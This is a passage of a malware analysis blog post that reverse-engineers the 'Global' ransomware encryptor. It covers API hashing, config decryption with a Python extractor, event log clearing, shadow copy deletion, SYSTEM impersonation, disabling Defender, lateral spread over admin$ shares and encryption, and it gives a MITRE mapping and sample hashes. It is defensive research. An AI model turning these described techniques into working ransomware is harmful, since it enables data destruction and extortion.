<p>If <code class="language-plaintext highlighter-rouge">kernel32.dll</code>, <code class="language-plaintext highlighter-rouge">advapi32.dll</code>, and <code class="language-plaintext highlighter-rouge">shell32.dll</code> successfully resolve, APIs will be resolved next.</p>

<p>The <code class="language-plaintext highlighter-rouge">ResolveAPI</code> function calculates API hashes by walking exported functions for the target module, calculating the hash for each entry, comparing it to the target hash, and returning the function address when a match is found.</p>

<p>This python snippet is a recreation of how the hash is generated from the API name.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#thanks hashdb
</span><span class="k">def</span> <span class="nf">hash</span><span class="p">(</span><span class="n">data</span><span class="p">):</span> 
    <span class="n">hash_value</span> <span class="o">=</span> <span class="mh">0x42</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
        <span class="n">hash_value</span> <span class="o">=</span> <span class="p">((</span><span class="n">hash_value</span> <span class="o">*</span> <span class="mi">33</span><span class="p">)</span> <span class="o">+</span> <span class="n">b</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
    <span class="k">return</span> <span class="n">hash_value</span>

<span class="k">print</span><span class="p">(</span><span class="s">"CreateMutexW = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">hash</span><span class="p">(</span><span class="sa">b</span><span class="s">'CreateMutexW'</span><span class="p">)))</span>
</code></pre></div></div>

<h2 id="mutex-creation">Mutex Creation</h2>

<p>Once APIs have been resolved, the encryptor creates a mutex using the resolved <code class="language-plaintext highlighter-rouge">CreateMutexW</code> function.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/createmutex.png" alt="CreateMutex" /><br />
<strong><em>Figure 7: Create Mutex</em></strong>  </p>

<h2 id="emptying-recycle-bin">Emptying Recycle Bin</h2>

<p>Next, the recycle bin is cleared. This is the first of several steps to prevent recovery of encrypted files.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/cleartrash.png" alt="ClearTrash" /><br />
<strong><em>Figure 8: Clear Recycle Bin</em></strong>  </p>

<h2 id="config-decryption">Config Decryption</h2>

<p>The embedded config in the <code class="language-plaintext highlighter-rouge">.config</code> section is now decrypted. This config data contains the ransom note, victim unique ID, leak site URL, and the random value that will be used as the extension for encrypted files. Other runtime configuration options if present would be stored in this data as well.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/configdecrypt.png" alt="DecryptedConfig" /><br />
<strong><em>Figure 9: Decrypted Config</em></strong>  </p>

<p>The following python script reimplements the decryption process, and can be used to extract the config section.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">pathlib</span> <span class="kn">import</span> <span class="n">Path</span>
<span class="kn">from</span> <span class="nn">array</span> <span class="kn">import</span> <span class="n">array</span>

<span class="kn">import</span> <span class="nn">pefile</span>

<span class="k">class</span> <span class="nc">ConfigDecryptor</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">pe_path</span><span class="p">:</span> <span class="n">Path</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">pe_path</span><span class="p">.</span><span class="n">exists</span><span class="p">():</span>
            <span class="k">raise</span> <span class="nb">FileNotFoundError</span><span class="p">(</span><span class="sa">f</span><span class="s">"File not found: </span><span class="si">{</span><span class="n">pe_path</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="n">PE</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">pe_path</span><span class="p">))</span>

    <span class="k">def</span> <span class="nf">extract_config_section</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">sec</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">pe</span><span class="p">.</span><span class="n">sections</span><span class="p">:</span>
            <span class="n">name</span> <span class="o">=</span> <span class="n">sec</span><span class="p">.</span><span class="n">Name</span><span class="p">.</span><span class="n">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">"ignore"</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">name</span> <span class="o">==</span> <span class="s">".config"</span><span class="p">:</span>
                <span class="k">return</span> <span class="n">sec</span><span class="p">.</span><span class="n">get_data</span><span class="p">()</span>
        <span class="k">raise</span> <span class="nb">RuntimeError</span><span class="p">(</span><span class="s">".config section not found"</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">decrypt_data</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">[:</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">//</span> <span class="mi">4</span> <span class="o">*</span> <span class="mi">4</span><span class="p">]</span>
        <span class="n">words</span> <span class="o">=</span> <span class="n">array</span><span class="p">(</span><span class="s">'I'</span><span class="p">)</span>
        <span class="n">words</span><span class="p">.</span><span class="n">frombytes</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

        <span class="n">xor_current</span> <span class="o">=</span> <span class="n">xor_prev</span> <span class="o">=</span> <span class="n">xor_seed</span> <span class="o">=</span> <span class="mh">0x52D8FC7D</span>

        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">words</span><span class="p">)):</span>
            <span class="n">words</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">^=</span> <span class="n">xor_current</span>
            <span class="n">rot</span> <span class="o">=</span> <span class="p">((</span><span class="n">xor_seed</span> <span class="o">&lt;&lt;</span> <span class="mi">13</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">xor_prev</span> <span class="o">&gt;&gt;</span> <span class="mi">19</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
            <span class="n">new_key</span> <span class="o">=</span> <span class="p">((</span><span class="o">-</span><span class="mi">1702134675</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span> <span class="o">*</span> <span class="n">rot</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
            <span class="n">xor_current</span> <span class="o">=</span> <span class="n">xor_prev</span> <span class="o">=</span> <span class="n">xor_seed</span> <span class="o">=</span> <span class="n">new_key</span> <span class="o">^</span> <span class="mh">0x5E4F3D2C</span>

        <span class="k">return</span> <span class="n">words</span><span class="p">.</span><span class="n">tobytes</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">process</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">raw</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">extract_config_section</span><span class="p">()</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Found .config section: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">raw</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes"</span><span class="p">)</span>
        <span class="n">decrypted</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">decrypt_data</span><span class="p">(</span><span class="n">raw</span><span class="p">)</span>

        <span class="n">output_file</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="s">"output.bin"</span><span class="p">)</span>
        <span class="k">with</span> <span class="n">output_file</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">decrypted</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Decrypted configuration saved to: </span><span class="si">{</span><span class="n">output_file</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Usage: </span><span class="si">{</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s"> &lt;pe_file&gt;"</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

    <span class="n">pe_file</span> <span class="o">=</span> <span class="n">Path</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">ConfigDecryptor</span><span class="p">(</span><span class="n">pe_file</span><span class="p">).</span><span class="n">process</span><span class="p">()</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Error: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="crypto-context-setup">Crypto Context Setup</h2>

<p>To successfully encrypt files, cryptographic context is acquired and a handle to a cryptographic service provider is returned. The <code class="language-plaintext highlighter-rouge">CRYPT_VERIFYCONTEXT</code> flag is used during context setup, which is typically only used by apps that leverage ephemeral keys, including apps that handle hashing, or encryption.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/setupcryptocontext.png" alt="CryptoSetup" /><br />
<strong><em>Figure 10: Crypto Context Setup</em></strong>  </p>

<h2 id="custom-file-icon-setup">Custom File Icon Setup</h2>

<p>The embedded icon that will be applied as the file icon for encrypted files is base64 decoded, and dropped into the <code class="language-plaintext highlighter-rouge">temp</code> directory for all accessible users.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/fileiconinit.png" alt="FileIconSetup" /><br />
<strong><em>Figure 11: File Icon Setup</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/icondata.png" alt="IconDataBase64" /><br />
<strong><em>Figure 12: Base64 Icon Data</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/iconfrombase641.png" alt="FileIconFromBase64_1" /><br />
<strong><em>Figure 13: File Icon Decode</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/iconfrombase642.png" alt="FileIconFromBase64_2" /><br />
<strong><em>Figure 14: File Icon Written</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/extractedicon.png" alt="FileIconPreview" /><br />
<strong><em>Figure 15: File Icon Preview</em></strong>  </p>

<p>Once the file icon is extracted and successfully dropped to disk, it is set as the associated file icon for encrypted files with the appended custom file extension.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/setfileicon.png" alt="SetFileIcon" /><br />
<strong><em>Figure 16: Setting File Icon Association</em></strong>  </p>

<h2 id="print-ransom-note">Print Ransom Note</h2>

<p>Next, the encryptor will start the process of printing the ransom note to all networked printers accessible by the host, by creating a PDF version of the ransom note, which is never utilized during the print jobs (funny).</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/printnote.png" alt="CallPrintNote" /><br />
<strong><em>Figure 17: Setup and Run Ransom Note Print Job</em></strong>  </p>

<p>The PDF copy of the ransom note is named <code class="language-plaintext highlighter-rouge">PrintMe22.pdf</code> and is dropped in the current user’s temp directory (still unused).</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/createpdf.png" alt="CreatePDFNote" /><br />
<strong><em>Figure 18: Location of PDF Ransom Note</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/writepdfdata.png" alt="WritePDFData" /><br />
<strong><em>Figure 19: Creation of PDF Ransom Note</em></strong>  </p>

<p>Networked printers are now enumerated.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/enumprinters.png" alt="EnumPrinters" /><br />
<strong><em>Figure 20: Networked Printer Discovery</em></strong>  </p>

<p>For each printer identified, a handle is opened, a temporary file containing the content of the ransom note is dropped in the current user temp directory, and a print job is created, sending the content of the ransom note temp file to each printer.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/runprintjob.png" alt="SendPrintJob" /><br />
<strong><em>Figure 21: Sending Note Print Job</em></strong>  </p>

<h2 id="clear-windows-event-log">Clear Windows Event Log</h2>

<p>Immediately after sending the print jobs, the encryptor will attempt to clear the history of several Windows event log sources. These being <code class="language-plaintext highlighter-rouge">Application</code>, <code class="language-plaintext highlighter-rouge">Security</code>, <code class="language-plaintext highlighter-rouge">System</code>, <code class="language-plaintext highlighter-rouge">Setup</code>, and <code class="language-plaintext highlighter-rouge">ForwardedEvents</code></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/cleareventlog.png" alt="ClearEventLogs" /><br />
<strong><em>Figure 22: Clearing Event Logs</em></strong>  </p>

<h2 id="delete-shadow-copies">Delete Shadow Copies</h2>

<p>After wiping Windows event logs, <code class="language-plaintext highlighter-rouge">vssadmin</code> is executed by the encryptor in a crude attempt to delete all shadow copies, to hinder recovery efforts.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/deleteshadowcopy.png" alt="DeleteShadowCopy" /><br />
<strong><em>Figure 23: Deleting Shadow Copies</em></strong>  </p>

<h2 id="token-elevation">Token Elevation</h2>

<p>The encryptor will then attempt to adjust the token privileges of its process.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/adjtokenprivs1.png" alt="AdjustTokenPrivs_1" /><br />
<strong><em>Figure 24: Adjust Process Token</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/adjtokenprivs2.png" alt="AdjustTokenPrivs_2" /><br />
<strong><em>Figure 25: Set Token Privileges</em></strong>  </p>

<h2 id="impersonate-system">Impersonate SYSTEM</h2>

<p>With elevated token privileges set, the encryptor will attempt to elevate to <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code> permissions by impersonating the token of the <code class="language-plaintext highlighter-rouge">winlogon.exe</code> process or the <code class="language-plaintext highlighter-rouge">TrustedInstaller</code> service/process if the first attempt to impersonate <code class="language-plaintext highlighter-rouge">winlogon</code> fails.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/impersonatetoken.png" alt="ImpersonateToken" /><br />
<strong><em>Figure 26: Token Impersonation</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/impersonatewinlogon.png" alt="ImpersonateWinlogon" /><br />
<strong><em>Figure 27: Impersonate Winlogon</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/impersonatetrustedinstaller.png" alt="ImpersonateTrustedInstaller" /><br />
<strong><em>Figure 28: Impersonate TrustedInstaller</em></strong>  </p>

<h2 id="impair-defenses">Impair Defenses</h2>

<p>Now running as <code class="language-plaintext highlighter-rouge">SYSTEM</code>, the encryptor will attempt to stop and delete services related to Microsoft Defender, event logging, network inspection, and system integrity.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/stopsecservices.png" alt="StopSecurityServices" /><br />
<strong><em>Figure 29: Impairing Security Services</em></strong>  </p>

<p>With security services stopped and deleted, any processes associated with those services or category of services are also terminated. The process token is then reverted to the original token.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/stopsecprocesses.png" alt="StopSecurityProcesses" /><br />
<strong><em>Figure 30: Terminating Security Processes</em></strong>  </p>

<h2 id="enumerate-domain-devices">Enumerate Domain Devices</h2>

<p>If a domain username and password are provided, the encryptor will attempt to access neighboring devices using LDAP, and execute a copy of itself as a service, or using a scheduled task.</p>

<p>First, the list of devices in the domain is collected.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/querydomaincomp1.png" alt="QueryDomainComputer_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/querydomaincomp2.png" alt="QueryDomainComputer_2" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/querydomaincomp3.png" alt="QueryDomainComputer_3" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/querydomaincomp4.png" alt="QueryDomainComputer_4" /><br />
<strong><em>Figure 31-34: Query Domain Computers</em></strong>  </p>

<p>A DNS query is performed on each device identified, and each IP successfully resolved is sent an ICMP echo request to identify hosts that are alive.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/resolveip.png" alt="ResolveDomainHostToIP" /><br />
<strong><em>Figure 35: Resolve Domain Host IP</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/pinghost.png" alt="PingHost" /><br />
<strong><em>Figure 36: Ping Host</em></strong>  </p>

<h2 id="remote-execution">Remote Execution</h2>

<p>The encryptor binary is uploaded to the target host’s <code class="language-plaintext highlighter-rouge">Temp</code> folder through the <code class="language-plaintext highlighter-rouge">admin$</code> share, and a service is created to execute it.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/executeremoteservice1.png" alt="ExecuteRemoteService_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/executeremoteservice2.png" alt="ExecuteRemoteService_2" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/executeremoteservice3.png" alt="ExecuteRemoteService_3" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/executeremoteservice4.png" alt="ExecuteRemoteService_4" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/executeremoteservice5.png" alt="ExecuteRemoteService_5" /><br />
<strong><em>Figure 37-41: Upload and Execute as Service</em></strong>  </p>

<p>If service creation fails, a scheduled task is created to execute the uploaded encryptor binary.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/executeremotetask.png" alt="ExecuteRemoteTask" /><br />
<strong><em>Figure 42: Execute as Scheduled Task</em></strong>  </p>

<h2 id="local-encryption-setup">Local Encryption Setup</h2>

<p>Drives to be targeted for encryption are now identified.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/identifydrives.png" alt="IdentifyDrives" /><br />
<strong><em>Figure 43: Identify Target Drives</em></strong>  </p>

<p>Two thread pools are created, one for local drive encryption, and one for remote drive encryption.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/createthreadpool.png" alt="CreateThreadPools" /><br />
<strong><em>Figure 44: Thread Pool Creation</em></strong>  </p>

<h2 id="local-encryption-start">Local Encryption Start</h2>

<p>Encryption for local drives is started.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/localencgetdrives.png" alt="LocalEncryptStart_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/localencstart.png" alt="LocalEncryptStart_2" /><br />
<strong><em>Figure 45-46: Local Encryption Job Start</em></strong></p>

<p>First, a list of every drive letter on the target host is collected (again), and for each drive, the type is determined to prevent targeting of CD-ROM drives. Remaining applicable drives are checked once more to determine if they are accessible based on file attributes, and drives that fail this check are skipped.</p>

<p>The files and folders on each valid drive are iterated through, queueing target files for encryption, while skipping critical system files and directories, and dropping the ransom note in writable directories.  </p>

<p>Each valid target file is renamed to include the ransomware custom extension, and based on its size it is either fully encrypted or partially encrypted using a Curve25519 derived one-time stream-cipher key; the encrypted data overwrites the original data in-place and a trailer containing the ephemeral public key and integrity metadata is appended to the end of the file.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/encdirectory1.png" alt="LocalEncryptJob_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/encdirectory2.png" alt="LocalEncryptJob_2" /><br />
<strong><em>Figure 47-48: Queue Target Files and Drop Note</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/encfiles1.png" alt="LocalEncryptJob_3" /><br />
<strong><em>Figure 49: Local Encryption Job</em></strong>  </p>

<h2 id="remote-encryption-start">Remote Encryption Start</h2>

<p>With local drives finished, encryption for remote hosts is started. Remote encryption is done either by directly accessing the target share, or mounting the share as a local drive.</p>

<p>Alive neighboring devices are identified by sending ICMP echo requests to each IP on network the target device has access to. For devices that are alive, an connection attempt is made, and shares are enumerated. Accessible shares that do not match a list of exclusions are queued for encryption.</p>

<p>Files on shares are encrypted in batches, and once the last batch finishes, share connections are killed, and any shares mounted as local drives are unmounted.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/getremotehosts.png" alt="RemoteEncryptJob_1" /><br />
<strong><em>Figure 50: Get Device Network and Domain Info</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/remoteencping.png" alt="RemoteEncryptJob_2" /><br />
<strong><em>Figure 51: Check if Target Alive</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/remoteencaddconn.png" alt="RemoteEncryptJob_3" /><br />
<strong><em>Figure 52: Add Connection</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/remoteencgetshares.png" alt="RemoteEncryptJob_4" /><br />
<strong><em>Figure 53: Enumerate Shares</em></strong>  </p>

<h2 id="set-desktop-wallpaper">Set Desktop Wallpaper</h2>

<p>The target host wallpaper is set, notifying the user of their demise, and the name of the ransom note.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/resolveapis2.png" alt="ResolveAPIs_2" /><br />
<strong><em>Figure 54: Resolve More APIs</em></strong>  </p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/setwallpaper.png" alt="SetWallpaper" /><br />
<strong><em>Figure 55: Set Wallpaper</em></strong>  </p>

<h2 id="self-deletion">Self Deletion</h2>

<p>To cleanup, the encryptor will launch command prompt, have it ping <code class="language-plaintext highlighter-rouge">127.0.0.7</code>, giving the encryptor process just enough time to finish and close the handle to its mutex before the encryptor binary is deleted.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/selfdelete.png" alt="SelfDelete" /><br />
<strong><em>Figure 56: Ping and Self Delete</em></strong>  </p>

<h2 id="mitre-attck-mapping">MITRE ATT&amp;CK Mapping</h2>

<ul>
  <li>Collection (TA0009)
    <ul>
      <li>T1005: Data from Local System</li>
    </ul>
  </li>
  <li>Defense Evasion (TA0005)
    <ul>
      <li>T1070: Indicator Removal
        <ul>
          <li>T1070.001: Clear Windows Event Logs</li>
          <li>T1070.004: File Deletion</li>
        </ul>
      </li>
      <li>T1107: File Deletion</li>
      <li>T1134: Access Token Manipulation</li>
      <li>T1202: Indirect Command Execution</li>
      <li>T1562: Impair Defenses
        <ul>
          <li>T1562.001: Disable or Modify Tools</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Discovery (TA0007)
    <ul>
      <li>T1007: System Service Discovery</li>
      <li>T1016: System Network Configuration Discovery</li>
      <li>T1057: Process Discovery</li>
      <li>T1063: Security Software Discovery</li>
      <li>T1082: System Information Discovery</li>
      <li>T1083: File and Directory Discovery</li>
      <li>T1135: Network Share Discovery</li>
      <li>T1518: Software Discovery
        <ul>
          <li>T1518.001: Security Software Discovery</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Execution (TA0002)
    <ul>
      <li>T1053: Scheduled Task/Job
        <ul>
          <li>T1053.005: Scheduled Task</li>
        </ul>
      </li>
      <li>T1059: Command and Scripting Interpreter</li>
      <li>T1106: Native API</li>
      <li>T1129: Shared Modules</li>
    </ul>
  </li>
  <li>Impact (TA0040)
    <ul>
      <li>T1486: Data Encrypted for Impact</li>
      <li>T1489: Service Stop</li>
      <li>T1490: Inhibit System Recovery</li>
    </ul>
  </li>
  <li>Persistence (TA0003)
    <ul>
      <li>T1031: Modify Existing Service</li>
      <li>T1053: Scheduled Task/Job
        <ul>
          <li>T1053.005: Scheduled Task</li>
        </ul>
      </li>
      <li>T1543: Create or Modify System Process
        <ul>
          <li>T1543.003: Windows Service</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Privilege Escalation (TA0004)
    <ul>
      <li>T1053: Scheduled Task/Job
        <ul>
          <li>T1053.005: Scheduled Task</li>
        </ul>
      </li>
      <li>T1134: Access Token Manipulation</li>
      <li>T1543: Create or Modify System Process
        <ul>
          <li>T1543.003: Windows Service</li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<h2 id="related-samples">Related Samples</h2>

<p>These are additional samples related to the Global Ransomware family:</p>

<p><strong>SHA-256:</strong> <a href="https://www.virustotal.com/gui/file/1f6640102f6472523830d69630def669dc3433bbb1c0e6183458bd792d420f8e">1f6640102f6472523830d69630def669dc3433bbb1c0e6183458bd792d420f8e</a><br />
<strong>SHA-256:</strong> <a href="https://www.virustotal.com/gui/file/232f86e26ced211630957baffcd36dd3bcd6a786f3d307127e1ea9a8b31c199f">232f86e26ced211630957baffcd36dd3bcd6a786f3d307127e1ea9a8b31c199f</a><br />
<strong>SHA-256:</strong> <a href="https://www.virustotal.com/gui/file/28f3de066878cb710fe5d44f7e11f65f25328beff953e00587ffeb5ac4b2faa8">28f3de066878cb710fe5d44f7e11f65f25328beff953e00587ffeb5ac4b2faa8</a><br />
<strong>SHA-256:</strong> <a href="https://www.virustotal.com/gui/file/a8c28bd6f0f1fe6a9b880400853fc86e46d87b69565ef15d8ab757979cd2cc73">a8c28bd6f0f1fe6a9b880400853fc86e46d87b69565ef15d8ab757979cd2cc73</a><br />
<strong>SHA-256:</strong> <a href="https://www.virustotal.com/gui/file/c5f49c0f566a114b529138f8bd222865c9fa9fa95f96ec1ded50700764a1d4e7">c5f49c0f566a114b529138f8bd222865c9fa9fa95f96ec1ded50700764a1d4e7</a><br />
<strong>SHA-256:</strong> <a href="https://www.virustotal.com/gui/file/c7b91de4b4b10c22f2e3bca1e2603160588fd8fd829fd46103cf536b6082e310">c7b91de4b4b10c22f2e3bca1e2603160588fd8fd829fd46103cf536b6082e310</a></p>

<h2 id="acknowledgment">Acknowledgment</h2>

<p>Feedback and corrections are welcome.</p>

<p>Thanks to <code class="language-plaintext highlighter-rouge">REMOVED</code> for sharing the Global promo video with me!<br />
Thanks to <a href="https://www.openanalysis.net/">OALabs</a> for <a href="https://hashdb.openanalysis.net/">HashDB</a>!</p>]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">No-Defender, Yes-Defender</title><link href="/nodefender-utility" rel="alternate" type="text/html" title="No-Defender, Yes-Defender" /><published>2024-06-04T00:00:00+00:00</published><updated>2024-06-04T00:00:00+00:00</updated><id>/nodefender-utility</id><content type="html" xml:base="/nodefender-utility"><![CDATA[]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Slicing up DoNex with Binary Ninja</title><link href="/donex-ransomware" rel="alternate" type="text/html" title="Slicing up DoNex with Binary Ninja" /><published>2024-04-04T00:00:00+00:00</published><updated>2024-04-04T00:00:00+00:00</updated><id>/donex-ransomware</id><content type="html" xml:base="/donex-ransomware"><![CDATA[]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Dissecting DarkGate: Modular Malware 